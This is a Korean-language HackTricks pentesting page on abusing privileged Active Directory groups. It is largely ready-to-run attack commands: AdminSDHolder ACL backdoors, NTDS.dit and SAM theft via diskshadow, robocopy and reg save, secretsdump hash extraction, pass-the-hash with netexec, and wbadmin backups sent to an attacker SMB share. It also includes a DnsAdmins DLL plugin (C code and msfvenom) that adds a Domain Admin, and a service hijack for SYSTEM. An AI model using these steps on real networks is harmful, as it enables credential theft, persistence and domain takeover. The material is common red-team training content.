ํŠน๊ถŒ ๊ทธ๋ฃน

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ด€๋ฆฌ ๊ถŒํ•œ์ด ์žˆ๋Š” ์ž˜ ์•Œ๋ ค์ง„ ๊ทธ๋ฃน

  • Administrators
  • Domain Admins
  • Enterprise Admins

Account Operators

์ด ๊ทธ๋ฃน์€ ๋„๋ฉ”์ธ์—์„œ ๊ด€๋ฆฌ์ž๊ฐ€ ์•„๋‹Œ ๊ณ„์ •๊ณผ ๊ทธ๋ฃน์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ๋˜ํ•œ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(DC)์— ๋Œ€ํ•œ ๋กœ์ปฌ ๋กœ๊ทธ์ธ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ทธ๋ฃน์˜ ๋ฉค๋ฒ„๋ฅผ ์‹๋ณ„ํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

Get-NetGroupMember -Identity "Account Operators" -Recurse

์ƒˆ ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ๊ณผ DC์— ๋Œ€ํ•œ ๋กœ์ปฌ ๋กœ๊ทธ์ธ์ด ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค.

AdminSDHolder ๊ทธ๋ฃน

The AdminSDHolder ๊ทธ๋ฃน์˜ Access Control List (ACL)์€ Active Directory ๋‚ด์˜ ๋ชจ๋“  โ€œprotected groupsโ€ โ€” ํŠนํžˆ high-privilege groups โ€” ์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ์„ค์ •ํ•˜๋ฏ€๋กœ ๋งค์šฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๋ฌด๋‹จ ์ˆ˜์ •์œผ๋กœ๋ถ€ํ„ฐ ํ•ด๋‹น ๊ทธ๋ฃน๋“ค์„ ๋ณดํ˜ธํ•˜์—ฌ ๋ณด์•ˆ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” AdminSDHolder ๊ทธ๋ฃน์˜ ACL์„ ์ˆ˜์ •ํ•˜์—ฌ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ „์ฒด ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ๋˜๋ฉด ํ•ด๋‹น ์‚ฌ์šฉ์ž๋Š” ๋ชจ๋“  protected groups์— ๋Œ€ํ•ด ์‚ฌ์‹ค์ƒ ์ „์ฒด ์ œ์–ด ๊ถŒํ•œ์„ ๊ฐ–๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ด ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์ด ๋ณ€๊ฒฝ๋˜๊ฑฐ๋‚˜ ์ œ๊ฑฐ๋˜๋”๋ผ๋„, ์‹œ์Šคํ…œ ์„ค๊ณ„์ƒ ์•ฝ 1์‹œ๊ฐ„ ๋‚ด์— ์ž๋™์œผ๋กœ ๋ณต์›๋ฉ๋‹ˆ๋‹ค.

๋ฉค๋ฒ„๋ฅผ ํ™•์ธํ•˜๊ณ  ๊ถŒํ•œ์„ ์ˆ˜์ •ํ•˜๊ธฐ ์œ„ํ•œ ๋ช…๋ น์–ด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

๋ณต๊ตฌ ๊ณผ์ •์„ ๊ฐ€์†ํ™”ํ•˜๊ธฐ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค: Invoke-ADSDPropagation.ps1.

์ž์„ธํ•œ ๋‚ด์šฉ์€ ired.team์„ ์ฐธ์กฐํ•˜์„ธ์š”.

AD Recycle Bin

์ด ๊ทธ๋ฃน์— ๋Œ€ํ•œ ๋ฉค๋ฒ„์‹ญ์€ ์‚ญ์ œ๋œ Active Directory ๊ฐ์ฒด๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋ฉฐ, ์ด๋Š” ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋…ธ์ถœ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Domain Controller Access

DC์˜ ํŒŒ์ผ ์ ‘๊ทผ์€ ์‚ฌ์šฉ์ž๊ฐ€ Server Operators ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์ด ์•„๋‹Œ ๊ฒฝ์šฐ ์ œํ•œ๋˜๋ฉฐ, ํ•ด๋‹น ๊ทธ๋ฃน์— ์†ํ•˜๋ฉด ์ ‘๊ทผ ๊ถŒํ•œ ์ˆ˜์ค€์ด ๋ณ€๊ฒฝ๋ฉ๋‹ˆ๋‹ค.

Privilege Escalation

Sysinternals์˜ PsService๋‚˜ sc๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์„œ๋น„์Šค ๊ถŒํ•œ์„ ๊ฒ€์‚ฌํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Server Operators ๊ทธ๋ฃน์€ ํŠน์ • ์„œ๋น„์Šค์— ๋Œ€ํ•ด ์ „์ฒด ์ œ์–ด ๊ถŒํ•œ์„ ๊ฐ€์ง€๋ฉฐ, ์ž„์˜ ๋ช…๋ น ์‹คํ–‰๊ณผ privilege escalation์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

C:\> .\PsService.exe security AppReadiness

์ด ๋ช…๋ น์€ Server Operators๊ฐ€ ์ „์ฒด ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด ๊ถŒํ•œ ์ƒ์Šน์„ ์œ„ํ•ด ์„œ๋น„์Šค๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Œ์„ ๋ณด์—ฌ์ค€๋‹ค.

Backup Operators

Backup Operators ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์€ SeBackup ๋ฐ SeRestore ๊ถŒํ•œ์œผ๋กœ ์ธํ•ด DC01 ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ๊ถŒํ•œ๋“ค์€ FILE_FLAG_BACKUP_SEMANTICS ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ช…์‹œ์  ๊ถŒํ•œ์ด ์—†์–ด๋„ ํด๋” ํƒ์ƒ‰, ๋ชฉ๋ก ํ™•์ธ ๋ฐ ํŒŒ์ผ ๋ณต์‚ฌ ๊ธฐ๋Šฅ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•œ๋‹ค. ์ด ํ”„๋กœ์„ธ์Šค์—๋Š” ํŠน์ • ์Šคํฌ๋ฆฝํŠธ ์‚ฌ์šฉ์ด ํ•„์š”ํ•˜๋‹ค.

๊ทธ๋ฃน ๋ฉค๋ฒ„๋ฅผ ๋‚˜์—ดํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰:

Get-NetGroupMember -Identity "Backup Operators" -Recurse

๋กœ์ปฌ ๊ณต๊ฒฉ

์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ๋กœ์ปฌ์—์„œ ํ™œ์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  1. ํ•„์š”ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ฐ€์ ธ์˜ค๊ธฐ:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. SeBackupPrivilege ํ™œ์„ฑํ™” ๋ฐ ํ™•์ธ:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. ์ œํ•œ๋œ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๊ณ  ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD Attack

Domain Controller์˜ ํŒŒ์ผ ์‹œ์Šคํ…œ์— ์ง์ ‘ ์ ‘๊ทผํ•˜๋ฉด ๋„๋ฉ”์ธ ์‚ฌ์šฉ์ž ๋ฐ ์ปดํ“จํ„ฐ์˜ ๋ชจ๋“  NTLM ํ•ด์‹œ๋ฅผ ํฌํ•จํ•˜๋Š” NTDS.dit ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Using diskshadow.exe

  1. C ๋“œ๋ผ์ด๋ธŒ์˜ ์„€๋„ ๋ณต์‚ฌ๋ณธ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. ์„€๋„ ๋ณต์‚ฌ๋ณธ์—์„œ NTDS.dit ๋ณต์‚ฌ:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

๋Œ€์‹  ํŒŒ์ผ ๋ณต์‚ฌ์—๋Š” robocopy๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. ํ•ด์‹œ ํš๋“์„ ์œ„ํ•ด SYSTEM ๋ฐ SAM์„ ์ถ”์ถœ:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. NTDS.dit์—์„œ ๋ชจ๋“  hashes๋ฅผ ์ถ”์ถœํ•˜๊ธฐ:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
  1. ์ถ”์ถœ ํ›„: Pass-the-Hash to DA
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"

# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd

wbadmin.exe ์‚ฌ์šฉํ•˜๊ธฐ

  1. ๊ณต๊ฒฉ์ž ๋จธ์‹ ์—์„œ SMB ์„œ๋ฒ„์šฉ NTFS ํŒŒ์ผ์‹œ์Šคํ…œ์„ ์„ค์ •ํ•˜๊ณ  ๋Œ€์ƒ ๋จธ์‹ ์—์„œ SMB ์ž๊ฒฉ์ฆ๋ช…์„ ์บ์‹œํ•ฉ๋‹ˆ๋‹ค.
  2. ์‹œ์Šคํ…œ ๋ฐฑ์—… ๋ฐ NTDS.dit ์ถ”์ถœ์„ ์œ„ํ•ด wbadmin.exe๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

For a practical demonstration, see DEMO VIDEO WITH IPPSEC.

DnsAdmins

Members of the DnsAdmins group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.

DnsAdmins ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์„ธ์š”:

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

์ž„์˜ DLL ์‹คํ–‰ (CVEโ€‘2021โ€‘40469)

Note

์ด ์ทจ์•ฝ์ ์€ DNS ์„œ๋น„์Šค(๋ณดํ†ต DCs ๋‚ด๋ถ€)์—์„œ SYSTEM ๊ถŒํ•œ์œผ๋กœ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” 2021๋…„์— ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ตฌ์„ฑ์›๋“ค์€ DNS ์„œ๋ฒ„๊ฐ€ ์ž„์˜์˜ DLL(๋กœ์ปฌ์ด๊ฑฐ๋‚˜ remote share์—์„œ)์„ ๋กœ๋“œํ•˜๋„๋ก ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:

# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

DLL์ด ๋กœ๋“œ๋˜๋ ค๋ฉด DNS ์„œ๋น„์Šค๋ฅผ ์žฌ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์ถ”๊ฐ€ ๊ถŒํ•œ์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Œ):

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

For more details on this attack vector, refer to ired.team.

Mimilib.dll

mimilib.dll์„ ์‚ฌ์šฉํ•ด ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ํŠน์ • ๋ช…๋ น์ด๋‚˜ reverse shells๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Check this post์—์„œ ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

WPAD Record for MitM

DnsAdmins๋Š” ๊ธ€๋กœ๋ฒŒ ์ฟผ๋ฆฌ ์ฐจ๋‹จ ๋ชฉ๋ก์„ ๋น„ํ™œ์„ฑํ™”ํ•œ ํ›„ WPAD ๋ ˆ์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ Man-in-the-Middle (MitM) ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด DNS ๋ ˆ์ฝ”๋“œ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Responder๋‚˜ Inveigh ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์Šคํ‘ธํ•‘ํ•˜๊ณ  ๋„คํŠธ์›Œํฌ ํŠธ๋ž˜ํ”ฝ์„ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

###ย Event Log Readers ๊ตฌ์„ฑ์›์€ ์ด๋ฒคํŠธ ๋กœ๊ทธ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์–ด plaintext passwords๋‚˜ ๋ช…๋ น ์‹คํ–‰ ์„ธ๋ถ€์‚ฌํ•ญ๊ณผ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows ๊ถŒํ•œ

์ด ๊ทธ๋ฃน์€ ๋„๋ฉ”์ธ ๊ฐ์ฒด์˜ DACLs๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์–ด DCSync ๊ถŒํ•œ์„ ์ž ์žฌ์ ์œผ๋กœ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ทธ๋ฃน์„ ์•…์šฉํ•œ ๊ถŒํ•œ ์ƒ์Šน ๊ธฐ๋ฒ•์€ Exchange-AD-Privesc GitHub repo์— ์ž์„ธํžˆ ์„ค๋ช…๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V ๊ด€๋ฆฌ์ž

Hyper-V ๊ด€๋ฆฌ์ž์—๊ฒŒ๋Š” Hyper-V์— ๋Œ€ํ•œ ์ „์ฒด ์•ก์„ธ์Šค ๊ถŒํ•œ์ด ์žˆ์–ด ๊ฐ€์ƒํ™”๋œ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ์ œ์–ดํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ๋ผ์ด๋ธŒ DC ๋ณต์ œ์™€ NTDS.dit ํŒŒ์ผ์—์„œ NTLM ํ•ด์‹œ๋ฅผ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

์•…์šฉ ์˜ˆ์‹œ

Firefox์˜ Mozilla Maintenance Service๋Š” Hyper-V ๊ด€๋ฆฌ์ž์— ์˜ํ•ด SYSTEM ๊ถŒํ•œ์œผ๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ณดํ˜ธ๋œ SYSTEM ํŒŒ์ผ์— ํ•˜๋“œ ๋งํฌ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ด๋ฅผ ์•…์„ฑ ์‹คํ–‰ ํŒŒ์ผ๋กœ ๊ต์ฒดํ•˜๋Š” ์ž‘์—…์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

์ฐธ๊ณ : ์ตœ๊ทผ Windows ์—…๋ฐ์ดํŠธ์—์„œ Hard link exploitation์ด ์™„ํ™”๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Group Policy Creators Owners

์ด ๊ทธ๋ฃน์€ ๊ตฌ์„ฑ์›์—๊ฒŒ ๋„๋ฉ”์ธ์—์„œ Group Policies๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ตฌ์„ฑ์›์€ ์‚ฌ์šฉ์ž๋‚˜ ๊ทธ๋ฃน์— Group Policies๋ฅผ ์ ์šฉํ•˜๊ฑฐ๋‚˜ ๊ธฐ์กด GPOs๋ฅผ ํŽธ์ง‘ํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค.

Organization Management

Microsoft Exchange๊ฐ€ ๋ฐฐํฌ๋œ ํ™˜๊ฒฝ์—์„œ๋Š” Organization Management๋ผ๋Š” ํŠน๋ณ„ํ•œ ๊ทธ๋ฃน์ด ์ค‘์š”ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ์ด ๊ทธ๋ฃน์€ ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ ์‚ฌ์„œํ•จ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ณด์œ ํ•˜๋ฉฐ, โ€˜Microsoft Exchange Security Groupsโ€™ Organizational Unit(OU)์— ๋Œ€ํ•œ ์™„์ „ํ•œ ์ œ์–ด๊ถŒ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ œ์–ด๊ถŒ์—๋Š” ๊ถŒํ•œ ์ƒ์Šน์— ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” Exchange Windows Permissions ๊ทธ๋ฃน์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

Privilege Exploitation and Commands

Print Operators ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์€ ์—ฌ๋Ÿฌ ๊ถŒํ•œ์„ ๋ถ€์—ฌ๋ฐ›๋Š”๋ฐ, ๊ทธ์ค‘์—๋Š” SeLoadDriverPrivilege๊ฐ€ ์žˆ์–ด ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ๋กœ์ปฌ๋กœ ๋กœ๊ทธ์˜จ(log on locally) ํ•˜๊ณ , ์ด๋ฅผ ์ข…๋ฃŒ(shut it down)ํ•˜๋ฉฐ ํ”„๋ฆฐํ„ฐ๋ฅผ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ์•…์šฉํ•˜๋ ค๋ฉด, ํŠนํžˆ ๋น„๊ถŒํ•œ ์ƒ์Šน ์ปจํ…์ŠคํŠธ์—์„œ SeLoadDriverPrivilege๊ฐ€ ๋ณด์ด์ง€ ์•Š๋Š” ๊ฒฝ์šฐ User Account Control (UAC)์„ ์šฐํšŒํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์„ ๋‚˜์—ดํ•˜๋ ค๋ฉด, ๋‹ค์Œ PowerShell ๋ช…๋ น์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

Get-NetGroupMember -Identity "Print Operators" -Recurse

**SeLoadDriverPrivilege**์™€ ๊ด€๋ จ๋œ ๋ณด๋‹ค ์ž์„ธํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ธฐ๋ฒ•์€ ๊ด€๋ จ ๋ณด์•ˆ ์ž๋ฃŒ๋ฅผ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.

์›๊ฒฉ ๋ฐ์Šคํฌํ†ฑ ์‚ฌ์šฉ์ž

์ด ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์€ Remote Desktop Protocol (RDP)์„ ํ†ตํ•ด PC์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง‘๋‹ˆ๋‹ค. ํ•ด๋‹น ๊ตฌ์„ฑ์›์„ ์—ด๊ฑฐํ•˜๋ ค๋ฉด PowerShell ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

RDP ์•…์šฉ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๋Š” ์ „์šฉ pentesting ์ž๋ฃŒ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์›๊ฒฉ ๊ด€๋ฆฌ ์‚ฌ์šฉ์ž

๋ฉค๋ฒ„๋Š” **Windows Remote Management (WinRM)**์„ ํ†ตํ•ด PC์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฉค๋ฒ„๋“ค์˜ ์—ด๊ฑฐ๋Š” ๋‹ค์Œ์„ ํ†ตํ•ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

WinRM๊ณผ ๊ด€๋ จ๋œ ์•…์šฉ ๊ธฐ๋ฒ•์€ ํŠน์ • ๋ฌธ์„œ๋ฅผ ์ฐธ์กฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Server Operators

์ด ๊ทธ๋ฃน์€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ(Domain Controllers)์—์„œ ๋ฐฑ์—… ๋ฐ ๋ณต์› ๊ถŒํ•œ, ์‹œ์Šคํ…œ ์‹œ๊ฐ„ ๋ณ€๊ฒฝ, ์‹œ์Šคํ…œ ์ข…๋ฃŒ ๋“ฑ์„ ํฌํ•จํ•œ ๋‹ค์–‘ํ•œ ๊ตฌ์„ฑ์„ ์ˆ˜ํ–‰ํ•  ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฉค๋ฒ„๋ฅผ ์—ด๊ฑฐํ•˜๋ ค๋ฉด ์ œ๊ณต๋œ ๋ช…๋ น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

Get-NetGroupMember -Identity "Server Operators" -Recurse

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ